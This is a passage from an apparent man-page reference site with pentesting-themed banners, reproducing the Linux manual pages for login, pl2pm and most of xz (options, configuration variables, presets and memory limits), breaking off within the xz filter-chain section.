             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

289 - Linux cli command login

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command login and provides detailed information about the command login, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the login.

NAME 🖥️ login 🖥️

begin session on the system

SYNOPSIS

login [-p] [-h host] [username] [ENV=VAR…]

login [-p] [-h host] -f username

login [-p] -r host

DESCRIPTION

The login program is used to establish a new session with the system. It is normally invoked automatically by responding to the login: prompt on the users terminal. login may be special to the shell and may not be invoked as a sub-process. When called from a shell, login should be executed as exec login which will cause the user to exit from the current shell (and thus will prevent the new logged in user to return to the session of the caller). Attempting to execute login from any shell but the login shell will produce an error message.

The user is then prompted for a password, where appropriate. Echoing is disabled to prevent revealing the password. Only a small number of password failures are permitted before login exits and the communications link is severed.

If password aging has been enabled for your account, you may be prompted for a new password before proceeding. You will be forced to provide your old password and the new password before continuing. Please refer to passwd(1) for more information.

Your user and group ID will be set according to their values in the /etc/passwd file. The value for $HOME, $SHELL, $PATH, $LOGNAME, and $MAIL are set according to the appropriate fields in the password entry. Ulimit, umask and nice values may also be set according to entries in the GECOS field.

On some installations, the environmental variable $TERM will be initialized to the terminal type on your tty line, as specified in /etc/ttytype.

An initialization script for your command interpreter may also be executed. Please see the appropriate manual section for more information on this function.

A subsystem login is indicated by the presence of a “*” as the first character of the login shell. The given home directory will be used as the root of a new file system which the user is actually logged into.

The login program is NOT responsible for removing users from the utmp file. It is the responsibility of getty(8) and init(8) to clean up apparent ownership of a terminal session. If you use login from the shell prompt without exec, the user you use will continue to appear to be logged in even after you log out of the “subsession”.

OPTIONS

-f

Do not perform authentication, user is preauthenticated.

Note: In that case, username is mandatory.

-h

Name of the remote host for this login.

-p

Preserve environment.

-r

Perform autologin protocol for rlogin.

The -r, -h and -f options are only used when login is invoked by root.

CAVEATS

This version of login has many compilation options, only some of which may be in use at any particular site.

The location of files is subject to differences in system configuration.

The login program is NOT responsible for removing users from the utmp file. It is the responsibility of getty(8) and init(8) to clean up apparent ownership of a terminal session. If you use login from the shell prompt without exec, the user you use will continue to appear to be logged in even after you log out of the “subsession”.

As with any program, logins appearance can be faked. If non-trusted users have physical access to a machine, an attacker could use this to obtain the password of the next person coming to sit in front of the machine. Under Linux, the SAK mechanism can be used by users to initiate a trusted path and prevent this kind of attack.

CONFIGURATION

The following configuration variables in /etc/login.defs change the behavior of this tool:

DEFAULT_HOME (boolean)

Indicate if login is allowed if we cant cd to the home directory. Default is no.

If set to yes, the user will login in the root (/) directory if it is not possible to cd to her home directory.

ENV_PATH (string)

If set, it will be used to define the PATH environment variable when a regular user login. The value is a colon separated list of paths (for example /bin:/usr/bin) and can be preceded by PATH=. The default value is PATH=/bin:/usr/bin.

ENV_SUPATH (string)

If set, it will be used to define the PATH environment variable when the superuser login. The value is a colon separated list of paths (for example /sbin:/bin:/usr/sbin:/usr/bin) and can be preceded by PATH=. The default value is PATH=/sbin:/bin:/usr/sbin:/usr/bin.

ERASECHAR (number)

Terminal ERASE character (010 = backspace, 0177 = DEL).

The value can be prefixed “0” for an octal value, or “0x” for an hexadecimal value.

FAIL_DELAY (number)

Delay in seconds before being allowed another attempt after a login failure.

FAKE_SHELL (string)

If set, login will execute this shell instead of the users shell specified in /etc/passwd.

HUSHLOGIN_FILE (string)

If defined, this file can inhibit all the usual chatter during the login sequence. If a full pathname is specified, then hushed mode will be enabled if the users name or shell are found in the file. If not a full pathname, then hushed mode will be enabled if the file exists in the users home directory.

KILLCHAR (number)

Terminal KILL character (025 = CTRL/U).

The value can be prefixed “0” for an octal value, or “0x” for an hexadecimal value.

LOGIN_RETRIES (number)

Maximum number of login retries in case of bad password.

This will most likely be overridden by PAM, since the default pam_unix module has its own built in of 3 retries. However, this is a safe fallback in case you are using an authentication module that does not enforce PAM_MAXTRIES.

LOGIN_TIMEOUT (number)

Max time in seconds for login.

LOG_OK_LOGINS (boolean)

Enable logging of successful logins.

LOG_UNKFAIL_ENAB (boolean)

Enable display of unknown usernames when login failures are recorded.

Note: logging unknown usernames may be a security issue if an user enter her password instead of her login name.

TTYGROUP (string), TTYPERM (string)

The terminal permissions: the login tty will be owned by the TTYGROUP group, and the permissions will be set to TTYPERM.

TTYGROUP can be either the name of a group or a numeric group identifier.

If TTYGROUP is not defined, then the group ownership of the terminal is set to the users primary group. If TTYPERM is not defined, then the permissions are set to 0600.

If you have a write program which is “setgid” to a special group which owns the terminals, define TTYGROUP to the group number and TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign TTYPERM to either 622 or 600.

TTYTYPE_FILE (string)

If defined, file which maps tty line to TERM environment parameter. Each line of the file is in a format something like “vt100 tty01”.

USERGROUPS_ENAB (boolean)

If set to yes, userdel will remove the users group if it contains no more members, and useradd will create by default a group with the name of the user.

FILES

/var/run/utmp

List of current login sessions.

/var/log/wtmp

List of previous login sessions.

/etc/passwd

User account information.

/etc/shadow

Secure user account information.

/etc/motd

System message of the day file.

/etc/nologin

Prevent non-root users from logging in.

/etc/ttytype

List of terminal types.

$HOME/.hushlogin

Suppress printing of system messages.

/etc/login.defs

Shadow password suite configuration.

SEE ALSO

mail(1), passwd(1), sh(1), su(1), login.defs(5), nologin(5), passwd(5), securetty(5), getty(8).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

290 - Linux cli command pl2pm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pl2pm and provides detailed information about the command pl2pm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pl2pm.

NAME 🖥️ pl2pm 🖥️

Rough tool to translate Perl4 .pl files to Perl5 .pm modules.

SYNOPSIS

pl2pm files

DESCRIPTION

pl2pm is a tool to aid in the conversion of Perl4-style .pl library files to Perl5-style library modules. Usually, your old .pl file will still work fine and you should only use this tool if you plan to update your library to use some of the newer Perl 5 features, such as AutoLoading.

LIMITATIONS

It’s just a first step, but it’s usually a good first step.

AUTHOR

Larry Wall <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

291 - Linux cli command xz

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xz and provides detailed information about the command xz, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xz.

NAME 🖥️ xz 🖥️

Compress or decompress .xz and .lzma files

SYNOPSIS

xz [option…] [file…]

COMMAND ALIASES

unxz is equivalent to xz –decompress.
xzcat is equivalent to xz –decompress –stdout.
lzma is equivalent to xz –format=lzma.
unlzma is equivalent to xz –format=lzma –decompress.
lzcat is equivalent to xz –format=lzma –decompress –stdout.

When writing scripts that need to decompress files, it is recommended to always use the name xz with appropriate arguments (xz -d or xz -dc) instead of the names unxz and xzcat.

DESCRIPTION

xz is a general-purpose data compression tool with command line syntax similar to gzip(1) and bzip2(1). The native file format is the .xz format, but the legacy .lzma format used by LZMA Utils and raw compressed streams with no container format headers are also supported. In addition, decompression of the .lz format used by lzip is supported.

xz compresses or decompresses each file according to the selected operation mode. If no files are given or file is -, xz reads from standard input and writes the processed data to standard output. xz will refuse (display an error and skip the file) to write compressed data to standard output if it is a terminal. Similarly, xz will refuse to read compressed data from standard input if it is a terminal.

Unless –stdout is specified, files other than - are written to a new file whose name is derived from the source file name:

  • When compressing, the suffix of the target file format (.xz or .lzma) is appended to the source filename to get the target filename.

  • When decompressing, the .xz, .lzma, or .lz suffix is removed from the filename to get the target filename. xz also recognizes the suffixes .txz and .tlz, and replaces them with the .tar suffix.

If the target file already exists, an error is displayed and the file is skipped.

Unless writing to standard output, xz will display a warning and skip the file if any of the following applies:

  • File is not a regular file. Symbolic links are not followed, and thus they are not considered to be regular files.

  • File has more than one hard link.

  • File has setuid, setgid, or sticky bit set.

  • The operation mode is set to compress and the file already has a suffix of the target file format (.xz or .txz when compressing to the .xz format, and .lzma or .tlz when compressing to the .lzma format).

  • The operation mode is set to decompress and the file doesn’t have a suffix of any of the supported file formats (.xz, .txz, .lzma, .tlz, or .lz).

After successfully compressing or decompressing the file, xz copies the owner, group, permissions, access time, and modification time from the source file to the target file. If copying the group fails, the permissions are modified so that the target file doesn’t become accessible to users who didn’t have permission to access the source file. xz doesn’t support copying other metadata like access control lists or extended attributes yet.

Once the target file has been successfully closed, the source file is removed unless –keep was specified. The source file is never removed if the output is written to standard output or if an error occurs.

Sending SIGINFO or SIGUSR1 to the xz process makes it print progress information to standard error. This has only limited use since when standard error is a terminal, using –verbose will display an automatically updating progress indicator.

Memory usage

The memory usage of xz varies from a few hundred kilobytes to several gigabytes depending on the compression settings. The settings used when compressing a file determine the memory requirements of the decompressor. Typically the decompressor needs 5 % to 20 % of the amount of memory that the compressor needed when creating the file. For example, decompressing a file created with xz -9 currently requires 65 MiB of memory. Still, it is possible to have .xz files that require several gigabytes of memory to decompress.

Especially users of older systems may find the possibility of very large memory usage annoying. To prevent uncomfortable surprises, xz has a built-in memory usage limiter, which is disabled by default. While some operating systems provide ways to limit the memory usage of processes, relying on it wasn’t deemed to be flexible enough (for example, using ulimit(1) to limit virtual memory tends to cripple mmap(2)).

The memory usage limiter can be enabled with the command line option **–memlimit=**limit. Often it is more convenient to enable the limiter by default by setting the environment variable XZ_DEFAULTS, for example, XZ_DEFAULTS=–memlimit=150MiB. It is possible to set the limits separately for compression and decompression by using **–memlimit-compress=**limit and **–memlimit-decompress=**limit. Using these two options outside XZ_DEFAULTS is rarely useful because a single run of xz cannot do both compression and decompression and **–memlimit=**limit (or -M limit) is shorter to type on the command line.

If the specified memory usage limit is exceeded when decompressing, xz will display an error and decompressing the file will fail. If the limit is exceeded when compressing, xz will try to scale the settings down so that the limit is no longer exceeded (except when using –format=raw or –no-adjust). This way the operation won’t fail unless the limit is very small. The scaling of the settings is done in steps that don’t match the compression level presets, for example, if the limit is only slightly less than the amount required for xz -9, the settings will be scaled down only a little, not all the way down to xz -8.

Concatenation and padding with .xz files

It is possible to concatenate .xz files as is. xz will decompress such files as if they were a single .xz file.

It is possible to insert padding between the concatenated parts or after the last part. The padding must consist of null bytes and the size of the padding must be a multiple of four bytes. This can be useful, for example, if the .xz file is stored on a medium that measures file sizes in 512-byte blocks.

Concatenation and padding are not allowed with .lzma files or raw streams.

OPTIONS

Integer suffixes and special values

In most places where an integer argument is expected, an optional suffix is supported to easily indicate large integers. There must be no space between the integer and the suffix.

KiB
Multiply the integer by 1,024 (2^10). Ki, k, kB, K, and KB are accepted as synonyms for KiB.

MiB
Multiply the integer by 1,048,576 (2^20). Mi, m, M, and MB are accepted as synonyms for MiB.

GiB
Multiply the integer by 1,073,741,824 (2^30). Gi, g, G, and GB are accepted as synonyms for GiB.

The special value max can be used to indicate the maximum integer value supported by the option.

Operation mode

If multiple operation mode options are given, the last one takes effect.

-z, –compress
Compress. This is the default operation mode when no operation mode option is specified and no other operation mode is implied from the command name (for example, unxz implies –decompress).

-d, –decompress, –uncompress
Decompress.

-t, –test
Test the integrity of compressed files. This option is equivalent to –decompress –stdout except that the decompressed data is discarded instead of being written to standard output. No files are created or removed.

-l, –list
Print information about compressed files. No uncompressed output is produced, and no files are created or removed. In list mode, the program cannot read the compressed data from standard input or from other unseekable sources.

The default listing shows basic information about files, one file per line. To get more detailed information, use also the –verbose option. For even more information, use –verbose twice, but note that this may be slow, because getting all the extra information requires many seeks. The width of verbose output exceeds 80 characters, so piping the output to, for example, less -S may be convenient if the terminal isn’t wide enough.

The exact output may vary between xz versions and different locales. For machine-readable output, –robot –list should be used.

Operation modifiers

-k, –keep
Don’t delete the input files.

Since xz 5.2.6, this option also makes xz compress or decompress even if the input is a symbolic link to a regular file, has more than one hard link, or has the setuid, setgid, or sticky bit set. The setuid, setgid, and sticky bits are not copied to the target file. In earlier versions this was only done with –force.

-f, –force
This option has several effects:

  • If the target file already exists, delete it before compressing or decompressing.

  • Compress or decompress even if the input is a symbolic link to a regular file, has more than one hard link, or has the setuid, setgid, or sticky bit set. The setuid, setgid, and sticky bits are not copied to the target file.

  • When used with –decompress –stdout and xz cannot recognize the type of the source file, copy the source file as is to standard output. This allows xzcat –force to be used like cat(1) for files that have not been compressed with xz. Note that in future, xz might support new compressed file formats, which may make xz decompress more types of files instead of copying them as is to standard output. **–format=**format can be used to restrict xz to decompress only a single file format.

-c, –stdout, –to-stdout
Write the compressed or decompressed data to standard output instead of a file. This implies –keep.

–single-stream
Decompress only the first .xz stream, and silently ignore possible remaining input data following the stream. Normally such trailing garbage makes xz display an error.

xz never decompresses more than one stream from .lzma files or raw streams, but this option still makes xz ignore the possible trailing data after the .lzma file or raw stream.

This option has no effect if the operation mode is not –decompress or –test.

–no-sparse
Disable creation of sparse files. By default, if decompressing into a regular file, xz tries to make the file sparse if the decompressed data contains long sequences of binary zeros. It also works when writing to standard output as long as standard output is connected to a regular file and certain additional conditions are met to make it safe. Creating sparse files may save disk space and speed up the decompression by reducing the amount of disk I/O.

-S .suf, –suffix=.suf
When compressing, use .suf as the suffix for the target file instead of .xz or .lzma. If not writing to standard output and the source file already has the suffix .suf, a warning is displayed and the file is skipped.

When decompressing, recognize files with the suffix .suf in addition to files with the .xz, .txz, .lzma, .tlz, or .lz suffix. If the source file has the suffix .suf, the suffix is removed to get the target filename.

When compressing or decompressing raw streams (–format=raw), the suffix must always be specified unless writing to standard output, because there is no default suffix for raw streams.

–files[=file]
Read the filenames to process from file; if file is omitted, filenames are read from standard input. Filenames must be terminated with the newline character. A dash (
-
) is taken as a regular filename; it doesn’t mean standard input. If filenames are given also as command line arguments, they are processed before the filenames read from file.

–files0[**=file]
This is identical to –files[
=**file] except that each filename must be terminated with the null character.

Basic file format and compression options

-F format, **–format=**format
Specify the file format to compress or decompress:

auto
This is the default. When compressing, auto is equivalent to xz. When decompressing, the format of the input file is automatically detected. Note that raw streams (created with –format=raw) cannot be auto-detected.

xz
Compress to the .xz file format, or accept only .xz files when decompressing.

lzma, alone
Compress to the legacy .lzma file format, or accept only .lzma files when decompressing. The alternative name alone is provided for backwards compatibility with LZMA Utils.

lzip
Accept only .lz files when decompressing. Compression is not supported.

The .lz format version 0 and the unextended version 1 are supported. Version 0 files were produced by lzip 1.3 and older. Such files aren’t common but may be found from file archives as a few source packages were released in this format. People might have old personal files in this format too. Decompression support for the format version 0 was removed in lzip 1.18.

lzip 1.4 and later create files in the format version 1. The sync flush marker extension to the format version 1 was added in lzip 1.6. This extension is rarely used and isn’t supported by xz (diagnosed as corrupt input).

raw
Compress or uncompress a raw stream (no headers). This is meant for advanced users only. To decode raw streams, you need use –format=raw and explicitly specify the filter chain, which normally would have been stored in the container headers.

-C check, **–check=**check
Specify the type of the integrity check. The check is calculated from the uncompressed data and stored in the .xz file. This option has an effect only when compressing into the .xz format; the .lzma format doesn’t support integrity checks. The integrity check (if any) is verified when the .xz file is decompressed.

Supported check types:

none
Don’t calculate an integrity check at all. This is usually a bad idea. This can be useful when integrity of the data is verified by other means anyway.

crc32
Calculate CRC32 using the polynomial from IEEE-802.3 (Ethernet).

crc64
Calculate CRC64 using the polynomial from ECMA-182. This is the default, since it is slightly better than CRC32 at detecting damaged files and the speed difference is negligible.

sha256
Calculate SHA-256. This is somewhat slower than CRC32 and CRC64.

Integrity of the .xz headers is always verified with CRC32. It is not possible to change or disable it.

–ignore-check
Don’t verify the integrity check of the compressed data when decompressing. The CRC32 values in the .xz headers will still be verified normally.

Do not use this option unless you know what you are doing. Possible reasons to use this option:

  • Trying to recover data from a corrupt .xz file.

  • Speeding up decompression. This matters mostly with SHA-256 or with files that have compressed extremely well. It’s recommended to not use this option for this purpose unless the file integrity is verified externally in some other way.

-0-9
Select a compression preset level. The default is -6. If multiple preset levels are specified, the last one takes effect. If a custom filter chain was already specified, setting a compression preset level clears the custom filter chain.

The differences between the presets are more significant than with gzip(1) and bzip2(1). The selected compression settings determine the memory requirements of the decompressor, thus using a too high preset level might make it painful to decompress the file on an old system with little RAM. Specifically, it’s not a good idea to blindly use -9 for everything like it often is with gzip(1) and bzip2(1).

-0-3
These are somewhat fast presets. -0 is sometimes faster than gzip -9 while compressing much better. The higher ones often have speed comparable to bzip2(1) with comparable or better compression ratio, although the results depend a lot on the type of data being compressed.

-4-6
Good to very good compression while keeping decompressor memory usage reasonable even for old systems. -6 is the default, which is usually a good choice for distributing files that need to be decompressible even on systems with only 16 MiB RAM. (-5e or -6e may be worth considering too. See –extreme.)

-7 … -9
These are like -6 but with higher compressor and decompressor memory requirements. These are useful only when compressing files bigger than 8 MiB, 16 MiB, and 32 MiB, respectively.

On the same hardware, the decompression speed is approximately a constant number of bytes of compressed data per second. In other words, the better the compression, the faster the decompression will usually be. This also means that the amount of uncompressed output produced per second can vary a lot.

The following table summarises the features of the presets:

PresetDictSizeCompCPUCompMemDecMem
-0256 KiB03 MiB1 MiB
-11 MiB19 MiB2 MiB
-22 MiB217 MiB3 MiB
-34 MiB332 MiB5 MiB
-44 MiB448 MiB5 MiB
-58 MiB594 MiB9 MiB
-68 MiB694 MiB9 MiB
-716 MiB6186 MiB17 MiB
-832 MiB6370 MiB33 MiB
-964 MiB6674 MiB65 MiB

Column descriptions:

  • DictSize is the LZMA2 dictionary size. It is waste of memory to use a dictionary bigger than the size of the uncompressed file. This is why it is good to avoid using the presets -7-9 when there’s no real need for them. At -6 and lower, the amount of memory wasted is usually low enough to not matter.

  • CompCPU is a simplified representation of the LZMA2 settings that affect compression speed. The dictionary size affects speed too, so while CompCPU is the same for levels -6-9, higher levels still tend to be a little slower. To get even slower and thus possibly better compression, see –extreme.

  • CompMem contains the compressor memory requirements in the single-threaded mode. It may vary slightly between xz versions.

  • DecMem contains the decompressor memory requirements. That is, the compression settings determine the memory requirements of the decompressor. The exact decompressor memory usage is slightly more than the LZMA2 dictionary size, but the values in the table have been rounded up to the next full MiB.

Memory requirements of the multi-threaded mode are significantly higher than that of the single-threaded mode. With the default value of –block-size, each thread needs 3*3*DictSize plus CompMem or DecMem. For example, four threads with preset -6 needs 660–670 MiB of memory.

-e, –extreme
Use a slower variant of the selected compression preset level (-0-9) to hopefully get a little bit better compression ratio, but with bad luck this can also make it worse. Decompressor memory usage is not affected, but compressor memory usage increases a little at preset levels -0-3.

Since there are two presets with dictionary sizes 4 MiB and 8 MiB, the presets -3e and -5e use slightly faster settings (lower CompCPU) than -4e and -6e, respectively. That way no two presets are identical.

PresetDictSizeCompCPUCompMemDecMem
-0e256 KiB84 MiB1 MiB
-1e1 MiB813 MiB2 MiB
-2e2 MiB825 MiB3 MiB
-3e4 MiB748 MiB5 MiB
-4e4 MiB848 MiB5 MiB
-5e8 MiB794 MiB9 MiB
-6e8 MiB894 MiB9 MiB
-7e16 MiB8186 MiB17 MiB
-8e32 MiB8370 MiB33 MiB
-9e64 MiB8674 MiB65 MiB

For example, there are a total of four presets that use 8 MiB dictionary, whose order from the fastest to the slowest is -5, -6, -5e, and -6e.

–fast

–best

These are somewhat misleading aliases for -0 and -9, respectively. These are provided only for backwards compatibility with LZMA Utils. Avoid using these options.

**–block-size=**size
When compressing to the .xz format, split the input data into blocks of size bytes. The blocks are compressed independently from each other, which helps with multi-threading and makes limited random-access decompression possible. This option is typically used to override the default block size in multi-threaded mode, but this option can be used in single-threaded mode too.

In multi-threaded mode about three times size bytes will be allocated in each thread for buffering input and output. The default size is three times the LZMA2 dictionary size or 1 MiB, whichever is more. Typically a good value is 2–4 times the size of the LZMA2 dictionary or at least 1 MiB. Using size less than the LZMA2 dictionary size is waste of RAM because then the LZMA2 dictionary buffer will never get fully used. In multi-threaded mode, the sizes of the blocks are stored in the block headers. This size information is required for multi-threaded decompression.

In single-threaded mode no block splitting is done by default. Setting this option doesn’t affect memory usage. No size information is stored in block headers, thus files created in single-threaded mode won’t be identical to files created in multi-threaded mode. The lack of size information also means that xz won’t be able decompress the files in multi-threaded mode.

**–block-list=**items
When compressing to the .xz format, start a new block with an optional custom filter chain after the given intervals of uncompressed data.

The items are a comma-separated list. Each item consists of an optional filter chain number between 0 and 9 followed by a colon (:) and a required size of uncompressed data. Omitting an item (two or more consecutive commas) is a shorthand to use the size and filters of the previous item.

If the input file is bigger than the sum of the sizes in items, the last item is repeated until the end of the file. A special value of 0 may be used as the last size to indicate that the rest of the file should be encoded as a single block.

An alternative filter chain for each block can be specified in combination with the **–filters1=**filters–filters9=filters options. These options define filter chains with an identifier between 1–9. Filter chain 0 can be used to refer to the default filter chain, which is the same as not specifying a filter chain. The filter chain identifier can be used before the uncompressed size, followed by a colon (:). For example, if one specifies –block-list=1:2MiB,3:2MiB,2:4MiB,,2MiB,0:4MiB then blocks will be created using:

  • The filter chain specified by –filters1 and 2 MiB input

  • The filter chain specified by –filters3 and 2 MiB input

  • The filter chain specified by –filters2 and 4 MiB input

  • The filter chain specified by –filters2 and 4 MiB input

  • The default filter chain and 2 MiB input

  • The default filter chain and 4 MiB input for every block until end of input.

If one specifies a size that exceeds the encoder’s block size (either the default value in threaded mode or the value specified with **–block-size=**size), the encoder will create additional blocks while keeping the boundaries specified in items. For example, if one specifies –block-size=10MiB –block-list=5MiB,10MiB,8MiB,12MiB,24MiB and the input file is 80 MiB, one will get 11 blocks: 5, 10, 8, 10, 2, 10, 10, 4, 10, 10, and 1 MiB.

In multi-threaded mode the sizes of the blocks are stored in the block headers. This isn’t done in single-threaded mode, so the encoded output won’t be identical to that of the multi-threaded mode.

**–flush-timeout=**timeout
When compressing, if more than timeout milliseconds (a positive integer) has passed since the previous flush and reading more input would block, all the pending input data is flushed from the encoder and made available in the output stream. This can be useful if xz is used to compress data that is streamed over a network. Small timeout values make the data available at the receiving end with a small delay, but large timeout values give better compression ratio.

This feature is disabled by default. If this option is specified more than once, the last one takes effect. The special timeout value of 0 can be used to explicitly disable this feature.

This feature is not available on non-POSIX systems.

This feature is still experimental. Currently xz is unsuitable for decompressing the stream in real time due to how xz does buffering.

**–memlimit-compress=**limit
Set a memory usage limit for compression. If this option is specified multiple times, the last one takes effect.

If the compression settings exceed the limit, xz will attempt to adjust the settings downwards so that the limit is no longer exceeded and display a notice that automatic adjustment was done. The adjustments are done in this order: reducing the number of threads, switching to single-threaded mode if even one thread in multi-threaded mode exceeds the limit, and finally reducing the LZMA2 dictionary size.

When compressing with –format=raw or if –no-adjust has been specified, only the number of threads may be reduced since it can be done without affecting the compressed output.

If the limit cannot be met even with the adjustments described above, an error is displayed and xz will exit with exit status 1.

The limit can be specified in multiple ways:

  • The limit can be an absolute value in bytes. Using an integer suffix like MiB can be useful. Example: –memlimit-compress=80MiB

  • The limit can be specified as a percentage of total physical memory (RAM). This can be useful especially when setting the XZ_DEFAULTS environment variable in a shell initialization script that is shared between different computers. That way the limit is automatically bigger on systems with more memory. Example: –memlimit-compress=70%

  • The limit can be reset back to its default value by setting it to 0. This is currently equivalent to setting the limit to max (no memory usage limit).

For 32-bit xz there is a special case: if the limit would be over 4020 MiB, the limit is set to 4020 MiB. On MIPS32 2000 MiB is used instead. (The values 0 and max aren’t affected by this. A similar feature doesn’t exist for decompression.) This can be helpful when a 32-bit executable has access to 4 GiB address space (2 GiB on MIPS32) while hopefully doing no harm in other situations.

See also the section Memory usage.

**–memlimit-decompress=**limit
Set a memory usage limit for decompression. This also affects the –list mode. If the operation is not possible without exceeding the limit, xz will display an error and decompressing the file will fail. See **–memlimit-compress=**limit for possible ways to specify the limit.

**–memlimit-mt-decompress=**limit
Set a memory usage limit for multi-threaded decompression. This can only affect the number of threads; this will never make xz refuse to decompress a file. If limit is too low to allow any multi-threading, the limit is ignored and xz will continue in single-threaded mode. Note that if also –memlimit-decompress is used, it will always apply to both single-threaded and multi-threaded modes, and so the effective limit for multi-threading will never be higher than the limit set with –memlimit-decompress.

In contrast to the other memory usage limit options, **–memlimit-mt-decompress=**limit has a system-specific default limit. xz –info-memory can be used to see the current value.

This option and its default value exist because without any limit the threaded decompressor could end up allocating an insane amount of memory with some input files. If the default limit is too low on your system, feel free to increase the limit but never set it to a value larger than the amount of usable RAM as with appropriate input files xz will attempt to use that amount of memory even with a low number of threads. Running out of memory or swapping will not improve decompression performance.

See **–memlimit-compress=**limit for possible ways to specify the limit. Setting limit to 0 resets the limit to the default system-specific value.

-M limit, **–memlimit=**limit, **–memory=**limit
This is equivalent to specifying **–memlimit-compress=**limit **–memlimit-decompress=**limit **–memlimit-mt-decompress=**limit.

–no-adjust
Display an error and exit if the memory usage limit cannot be met without adjusting settings that affect the compressed output. That is, this prevents xz from switching the encoder from multi-threaded mode to single-threaded mode and from reducing the LZMA2 dictionary size. Even when this option is used the number of threads may be reduced to meet the memory usage limit as that won’t affect the compressed output.

Automatic adjusting is always disabled when creating raw streams (–format=raw).

-T threads, **–threads=**threads
Specify the number of worker threads to use. Setting threads to a special value 0 makes xz use up to as many threads as the processor(s) on the system support. The actual number of threads can be fewer than threads if the input file is not big enough for threading with the given settings or if using more threads would exceed the memory usage limit.

The single-threaded and multi-threaded compressors produce different output. Single-threaded compressor will give the smallest file size but only the output from the multi-threaded compressor can be decompressed using multiple threads. Setting threads to 1 will use the single-threaded mode. Setting threads to any other value, including 0, will use the multi-threaded compressor even if the system supports only one hardware thread. (xz 5.2.x used single-threaded mode in this situation.)

To use multi-threaded mode with only one thread, set threads to +1. The + prefix has no effect with values other than 1. A memory usage limit can still make xz switch to single-threaded mode unless –no-adjust is used. Support for the + prefix was added in xz 5.4.0.

If an automatic number of threads has been requested and no memory usage limit has been specified, then a system-specific default soft limit will be used to possibly limit the number of threads. It is a soft limit in sense that it is ignored if the number of threads becomes one, thus a soft limit will never stop xz from compressing or decompressing. This default soft limit will not make xz switch from multi-threaded mode to single-threaded mode. The active limits can be seen with xz –info-memory.

Currently the only threading method is to split the input into blocks and compress them independently from each other. The default block size depends on the compression level and can be overridden with the **–block-size=**size option.

Threaded decompression only works on files that contain multiple blocks with size information in block headers. All large enough files compressed in multi-threaded mode meet this condition, but files compressed in single-threaded mode don’t even if **–block-size=**size has been used.

The default value for threads is 0. In xz 5.4.x and older the default is 1.

Custom compressor filter chains

A custom filter chain allows specifying the compression settings in detail instead of relying on the settings associated to the presets. When a custom filter chain is specified, preset options (-0-9 and –extreme) earlier on the command line are forgotten. If a preset option is specified after one or more custom filter chain options, the new preset takes effect and the custom filter chain options specified earlier are forgotten.

A filter chain is comparable to piping on the command line. When compressing, the uncompressed input goes to the first filter, whose output goes to the next filter (if any). The output of the last filter gets written to the compressed file. The maximum number of filters in the chain is four, but typically a filter chain has only one or two filters.

Many filters have limitations on where they can be in the filter chain: some filters can work only as the last filter in the chain, some only as a non-last filter, and some work in any position in the chain. Depending on the filter, this limitation is either inherent to the filter design or exists to prevent security issues.

A custom filter chain can be specified in two different ways. The options **–filters=**filters and **–filters1=filters–filters9=filters allow specifying an entire filter chain in one option using the liblzma filter string syntax. Alternatively, a filter chain can be specified by using one or more individual filter options in the order they are wanted in the filter chain. That is, the order of the individual filter options is significant! When decoding raw streams (–format=raw), the filter chain must be specified in the same order as it was specified when compressing. Any individual filter or preset options specified before the full chain option (–filters=**filters) will be forgotten. Individual filters specified after the full chain option will reset the filter chain.

Both the full and individual filter options take filter-specific options as a comma-separated list. Extra commas in options are ignored. Every option has a default value, so specify those you want to change.

